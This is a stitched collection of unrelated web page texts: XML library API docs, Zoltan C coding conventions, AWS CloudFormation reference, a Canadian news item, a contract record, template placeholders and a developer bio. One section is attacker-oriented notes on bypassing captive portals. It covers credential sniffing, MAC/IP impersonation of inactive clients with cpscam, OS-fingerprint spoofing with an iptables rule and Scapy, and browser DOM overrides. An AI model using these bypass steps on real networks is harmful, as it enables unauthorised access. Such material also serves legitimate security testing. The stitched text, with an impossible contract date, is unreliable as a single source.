| Elements can have attributes, which are name="value" pairs that appear within the element start tag in an XML document; this class represents the in-memory representation of one of those attributes and can be used to examine or modify the name or value. More... | |
| class | attribute_iterator |
| This is a bidirectional iterator suitable for moving forward or backward within a list of Attributes within an Element, for writable access. More... | |
| class | Comment |
| A comment contains only uninterpreted text. More... | |
| class | Document |
| This class provides a minimalist capability for reading and writing XML documents, as files or strings. More... | |
| class | Element |
| An element has (1) a tagword, (2) a map of (name,value) pairs called attributes, and (3) a list of child nodes. More... | |
| class | element_iterator |
| This is a bidirectional iterator suitable for moving forward or backward within a list of Element nodes, for writable access. More... | |
| class | Node |
| Abstract handle for holding any kind of node in an XML tree. More... | |
| class | node_iterator |
| This is a bidirectional iterator suitable for moving forward or backward within a list of Nodes, for writable access. More... | |
| class | Text |
| This is the "leaf" content of an element. More... | |
| class | Unknown |
| This is something we don't understand but can carry around. More... | |
Enumerations | |
| enum | NodeType { NoNode = 0x00, ElementNode = 0x01, TextNode = 0x02, CommentNode = 0x04, UnknownNode = 0x08, NoJunkNodes = ElementNode|TextNode, JunkNodes = CommentNode|UnknownNode, AnyNodes = NoJunkNodes|JunkNodes } |
| The Xml::NodeType enum serves as the actual type of a node and as a filter for allowable node types during an iteration over nodes. More... | |
Functions | |
| String | getNodeTypeAsString (NodeType type) |
| Translate a NodeType to a human-readable string. More... | |
This namespace contains Xml::Document and all the related XML classes.
| enum SimTK::Xml::NodeType |
The Xml::NodeType enum serves as the actual type of a node and as a filter for allowable node types during an iteration over nodes.
We consider Element and Text nodes to be meaningful, while Comment and Unknown nodes are meaningless junk. However, you are free to extract some meaning from them if you know how. In particular, DTD nodes end up as Unknown.
| Enumerator | |
|---|---|
| NoNode | Type of empty Node handle, or null filter. |
| ElementNode | Element node type and only-Elements filter. |
| TextNode | Text node type and only-Text nodes filter. |
| CommentNode | Comment node type and only-Comments filter. |
| UnknownNode | Unknown node type and only-Unknowns filter. |
| NoJunkNodes | Filter out meaningless nodes. |
| JunkNodes | Filter out meaningful nodes. |
| AnyNodes | Allow all nodes. |


Luxoft
Powered by Horizon Light
menu
{{item.text}}
Settings
`
Print PDF
PDF Generation Progress: {{percents}}%
Cancel
Upload Excel
Select a file to upload:
Uploading file
{{status}}
Upload
Close
Exit
Prev
Next
{{page_Number}}
{{currentPeriod | periodFormatConverter}}
{{period | periodFormatConverter}}
App BG
App BG
ReGenerate
Screenshots
ReGenerate All
Screenshots
Settings
{{item.text}}
Close


stoga_cs
Home
List of awesome stogacs resources you should totally check out:
Presentations
Sharick Shekels


Play any quiz you like and enter your email to be sent your prize, score and the next level. (We’ll never spam you, if you ignore our email we’ll never email you again)
Play fun quizzes
Brands give us awesome prizes that we pass on to you, but you have to prove you deserve the prize by passing the quiz!
Play sport and football quizzes on Sport Buzz including Manchester United, Arsenal, Liverpool, Chelsea, Tottenham, Man City quizzes as well as trying our Premiership, Championship and England quiz. Every level gets you better prizes.


Shatner, Obomsawin among 39 inductees to Order of Canada today
by The Canadian PressOTTAWA - Gov. Gen. Julie Payette is honouring 39 people with the Order of Canada this morning, including actor William Shatner, writer Ann-Marie MacDonald and lawyer James Lockyer.
Shatner is being given one of Canada's highest civilian honours for his 60-year career in theatre, television and film; MacDonald for her art and advocacy for women and on LGBTQ issues; and Lockyer for his work championing people wrongly convicted of crimes.
Mathematician Robert Langlands, filmmaker Alanis Obomsawin and actor Donald Sutherland are also being made companions of the order, the most prestigious of its three levels.
Payette will preside over the ceremony at Rideau Hall in Ottawa.
The order was established in 1967, Canada's centennial year.
Close to 7,500 people have been invested in the order since then.


Coding Principles in Zoltan
Include files
Global Variables
Function Names
Parallel Communication
Memory Management
Errors, Warnings and Return Codes
Include files
Include files should be used for function prototypes, macro definitions,
and data structure definitions. The convention used is that external function
prototypes and data structure definitions
required by more than one module are stored in include files named
*_const.h (e.g., zz/zz_const.h). Include files with static
function prototypes or static data structure
definitions (i.e., files that are included in only one module) are
named *.h (e.g., rcb/rcb.h).
The include file include/zoltan.h contains the Zoltan
interface; it should be included by C application source files that call
Zoltan. C++ applications that use the C++ interface should include
include/zoltan_cpp.h instead.
The include file zz/zz_const.h describes
the principle Zoltan data structures. As these data structures
are used heavily by the algorithms in Zoltan, zz/zz_const.h
should be included in most source files of Zoltan.
Every Zoltan C language header file should be surrounded with an
extern "C" {} declaration. The declaration must occur after
every other #include statement, and before all function
declarations.
This declaration tells a C++ compiler not to
mangle the names of functions declared in that header file.
#ifndef __EXAMPLE_H
#define __EXAMPLE_H
#include "mpi.h"
#include "zoltan_types.h"
#include "zoltan_align.h"
#ifdef __cplusplus
extern "C" {
#endif
int func1(int a, int b);
double dfunc(int a, int b, int c);
#ifdef __cplusplus
} /* closing bracket for extern "C" */
#endif
#endif /* __EXAMPLE_H */
|
Example of C language header file with extern "C"
If an #include statement appears after the opening of the
extern "C" {} declaration, the included file may cause
mpi.h or some other system header file to be processed. When
compiling with a C++ compiler, this usually leads to compile errors
because the function names in some of those headers are supposed to be
mangled.
It should
not be necessary to use the declaration in all header files, but
rather only in header files that are used in C++ applications. But
experience has taught us that you never know what header files will
end up being included, and that one that is not included now, may be
included in the future when someone adds an #include statement
to a file. To save someone the effort later on of figuring out
why their C++ compilation is failing, please include the
extern "C" {} declaration in every header file, even if at
this point in time you do not believe it will ever be included in
the compilation of a C++ application.
Global variables
The use of global variables is highly discouraged in Zoltan.
In limited cases, static global variables can be tolerated within
a source file of an algorithm. However, developers should keep in mind
that several Zoltan structures may be used by an application, with
each structure using the same algorithm. Thus, global variables set by one
invocation of a routine may be reset by other invocations, causing errors
in the algorithms. Global variable names may also conflict with variables
used elsewhere in the library or application, causing unintended side-effects
and complicating debugging. For greatest robustness, developers are asked
NOT to use global variables in their algorithms. See Data
Structures for ideas on avoiding the use of global variables.
Function Names
In order to avoid name conflicts with applications and other libraries,
all non-static functions should be prepended with Zoltan_.
Moreover, function names should, in general, include their module names; e.g.,
Zoltan_HSFC_Box_Assign is part of the HSFC module of Zoltan.
As a general
rule, each new word in a function name should be capitalized (for example,
Zoltan_Invert_Lists).
Static Zoltan functions do not have to follow these rules.
Parallel Communication
All communication in the Zoltan library should be performed through MPI
communication routines. The MPI interface was chosen to enable portability
to many different platforms. It will be especially important as the code
is extended to heterogeneous computing systems.
Some useful communication utilities are provided within the library
to perform unstructured communication and synchronization. See Unstructured
Communication Utilities and Parallel
Computing.
Memory Management
It is strongly suggested that all memory allocation in the library is handled
using the functions supplied in Utilities/Memory. Use of these functions
will make debugging and maintenance of the library much easier as the library
gets larger. See Memory Management Utilities for
more information on these utilities.
For memory that is returned by Zoltan to an application, however, special
memory allocation functions must be used to maintain compatibility with
both C and Fortran90 applications. See
Memory Management in Zoltan Algorithms for more
information.
One of the few data types specified for use in the Zoltan interface is the
ZOLTAN_ID_PTR
type used for global and local object identifiers (IDs). Macros simplifying
and providing error checking for
ID allocation and manipulation
are provided.
Errors, Warnings, and Return Codes
If an error or warning occurs in the Zoltan library,
a message should be printed to
stderr (using one of the printing macros below),
all memory allocated in the current function should be freed, and
an error code should be returned.
The Zoltan library should never "exit";
control should always be returned to the application with an error code.
The error codes are defined in include/zoltan_types.h.
Currently, this philosophy is not strictly followed in all portions
of Zoltan.
Efforts are underway to bring existing code up-to-date, and to follow this
rule in all future development.
ZOLTAN_PRINT_ERROR(int processor_number, char *function_name, char *message)
ZOLTAN_PRINT_WARN(int processor_number, char *function_name, char *message)
Macros for printing error and warning messages in Zoltan. The macros are
defined in Utilities/shared/zoltan_util.h.
| Arguments: |
|
| processor_number |
The processor's rank in the Zoltan communicator. The value -1 can be used if the rank is not available. |
| function_name |
A string containing the name of the function in which the error or warning occurred. |
| message |
A string containing the error or warning message. |
[Table of Contents | Next:
Zoltan Quality Assurance | Previous:
Philosophy | Privacy and Security]


There are several attack opportunities:- Captive portal itself
- Web server (typical web attacks)
- SNMP
- Pre-authentication services
-
- Pre-authentication client devices
- May be able to contact other client devices without authentication
Sniffing
Some internal captive portal servers may not use SSL for credential protection, allowing them to be sniffed on the network with Cain for instance.
Bypass with Impersonation
MAC/IP
Some inline captive portal systems will base validation on MAC/IP, which an attacker can impersonate. There is an issue with live clients on the network. Impersonating an active user on the network will cause IP conflicts and unstable connections for you and the client.
The solution is to ultimately impersonate an inactive user, which will need to be identified.
[cpscam](http://www.willhackforsushi.com/code/cpscam.pl) may also need the NetPacket module:
# perl -MCPAN -e 'install NetPacket::IP'
Captive Portal Scam provides this functionality. It will observe network traffic to build a list of client IP and MAC addresses. Once a client is determined to be inactive, cpscam will notify.
[Pickupline]
Pickupline collects a list of IPs and MAC addresses, but doesn't maintain the list as well as cpscam does.
OUI Whitelist
Some devices may be excluded from authentication checks. These may include phones, iPads, handhelpds, other PDAs which are not supported by the particular NAC vendor.
It's not as easy as spoofing a MAC/IP from the OUI whitelist anymore since many NAC force additional checks. As an attacker, more work is required to complete impersonation.
Some linux distributions have a list of OUIs at /usr/local/share/oui.txt
System Validation
A few additional checks that may need to be bypassed include:- Browser-Agents
-
- Passive OS Fingerprinting
- Passively observice traffic, (TTLs, Window Size, frame size, status of DF flag, max segment size, window scale, Timestamp, ACK flag, order of TCP flags, and more.
- Nmap and [p0f] do passive fingerprinting
- JavaScript OS Validation
- DOM fingerprinting information (Platform, Vendor, etc)
Solution: Complete Obfuscation (from IP layer up)
Word of caution: Now your tools. Spoofing networking stack can have issues with Virtual machines/network adapters and software. Test locally to ensure you know the bounds of your tool.
[OSfuscate](http://www.irongeek.com/i.php?page=security/code) | simple list of Windows INI formated profile descriptor files to describe several characteristics of a target TCP/IP stack including ttl, stamp, pmtu, urg, window, sack, mtu
[Scapy] plus iptables
iptables is needed to prevent the OS from sending a RST packet while scapy starts the initial SYN
iptables -A OUTPUT -p tcp --destination-port 80 --tcp-flags RST RST -s <source> -d <captive_portal> -j DROP
Javascript OS Validation
Typically JS queries DOM fields for validation. Some browser User Agent Switchers will also update fields in the DOM. Some common fields are:- navigator.buildID - Used to disclose build number for the browser, not used by Apple's Safari on the iPad
- navigator.oscpu - Ued to disclose the CPU type used on the host, not used by Apple's Safari on the iPad
- navigator.product - Used to disclose the product name (like "Gecko")
- navigator.productSub - Used to disclose a sub-name to the product field, set to "20030107" on Apple's Safari on the iPad
To bypass systems using JS OS Validation, we need to manipulate the responses from these fields as well.
Custom Browser Impersonation
Firefox allows us to customize values that are returned from the DOM through JS configuration keys in the format general.XXX.override where XXX is all-lowercase name of the DOM suffix after "navigator"- go to about:config
- Right-click and add a new String
- Enter "general.XXX.override" (eg to override navigator.oscpu create general.oscpu.override)
- Enter value for the key to match your impersonation (eg for iPad, since Safari doesn't use this, configure string with value "undefined")


Amazon Elasticsearch Service Domain VPCOptions
The
VPCOptions
property type specifies a virtual private cloud (VPC) configuration
for an Amazon Elasticsearch Service (Amazon ES) domain.
VPCOptions
is a property of the AWS::Elasticsearch::Domain resource.
Syntax
To declare this entity in your AWS CloudFormation template, use the following syntax:
JSON
{ "SecurityGroupIds" : [
String
, ... ], "SubnetIds" : [String
, ... ] }
YAML
SecurityGroupIds: -
String
SubnetIds: -String
Properties
SecurityGroupIds
-
The list of security group IDs that are associated with the VPC endpoints for the domain. If you don't provide a security group ID, Amazon ES uses the default security group for the VPC. To learn more, see Security Groups for your VPC in the Amazon VPC User Guide.
Required: No
Type: List of String values
Update requires: No interruption
SubnetIds
-
A list of subnet IDs that are associated with the VPC endpoints for the domain. If your domain has zone awareness enabled, you need to provide two subnet IDs, one per zone. Otherwise, provide only one. To learn more, see VPCs and Subnets in the Amazon VPC User Guide.
Required: No
Type: List of String values
Update requires: No interruption
See Also
-
VPC Support for Amazon Elasticsearch Service Domains in the Amazon Elasticsearch Service Developer Guide


Vendor Name:
RANDSTAD INTERIM INC.
Reference Number:
7004598
Contract Date:
2015-05-01
Description of Work:
0813 Temporary Help Services
Contract Period:
2015-05-01 to 2015-20-02
Delivery Date:
2015-20-02
Original Contract Value:
$14,804.22
Current Contract Value:
$14,804.22
Comments:
This contract was competitively sourced.
Additional Comments:
Human Resources - Classification
Former Public Servant in Receipt of a Pension under the Public Service Superannuation Act:
No


| ID |
Title |
Release Date |
Due Date |
Assessment Due Date |
Points |
Bonus Points |
Included in Overall Score |
Presentation |
|
|---|---|---|---|---|---|---|---|---|---|
| {{ textExercise.id }} | {{ textExercise.title }} | {{ textExercise.releaseDate | artemisDate }} | {{ textExercise.dueDate | artemisDate }} | {{ textExercise.assessmentDueDate | artemisDate }} | {{ textExercise.maxPoints }} | {{ textExercise.bonusPoints }} | {{ exerciseService.isIncludedInScore(textExercise) }} | {{ textExercise.presentationScoreEnabled }} |
|


analysis package¶
Submodules¶
analysis.Analyser module¶
The Analyser module provides a preparation for analysis and runs plots that can help with understanding the data.
-
analysis.Analyser.
create_analysis_folder
()¶ Create the folder for the analysis to be placed.
Returns: analysis folder location Return type: List[str]
-
analysis.Analyser.
run_analysis
(dataset, stage_list)¶ Run analysis against given data and phase list.
Parameters: - dataset (object) – CSV-formatted file (as generated by the Analysis module)
- stage_list (list[str]) – list of stage names (e.g. [‘A’, ‘B’])
analysis.Extractor module¶
The Extractor module takes phase, result (red, red/amber, amber, green), record date/time to prepare for data analysis.
-
analysis.Extractor.
create_analysis_dataset
(data, phase_list, analysis_folder)¶ Prepares data for data analysis by creating the analysis dataset.
Parameters: - data (object) – CSV-formatted file (as generated by the Analysis module)
- phase_list (list[str]) – list of stage names (e.g. [‘A’, ‘B’])
- analysis_folder (string) – analysis folder location
Returns: data formatted for analysis
Return type: object
analysis.Main module¶
The Main module runs the data analysis for the latest processed data.
analysis.Plotter module¶
The Plotter module plots a limited amount of examples (to avoid graph cluttering), helpign understanding the nature and the components available in the data.
-
analysis.Plotter.
plot_correlation
(df, analysis_folder)¶ Plot correlation of stages as a heat map.
Parameters: - df (object) – dataframe
- analysis_folder (string) – analysis folder location
-
analysis.Plotter.
plot_phase_vs_dt
(df, seconds, analysis_folder)¶ Plot phase versus date/time, taking data frame and number of seconds to plot.
Parameters: - df (object) – dataframe
- seconds (int) – number of seconds to plot
- analysis_folder (string) – analysis folder location
-
analysis.Plotter.
plot_phases_info
(df, seconds, analysis_folder)¶ Plot sub-plots of each phase within a data frame for the given number of seconds.
Parameters: - df (object) – dataframe
- seconds (int) – number of seconds to plot
- analysis_folder (string) – analysis folder location


Android & Web Developer
Hi am Joel Mukono, a web and Android developer. I studied for a diploma in Information Communication Technology at Kabete Polytechnic.
I joined a coding school to add my experience in problem solving. My interests are video gaming and painting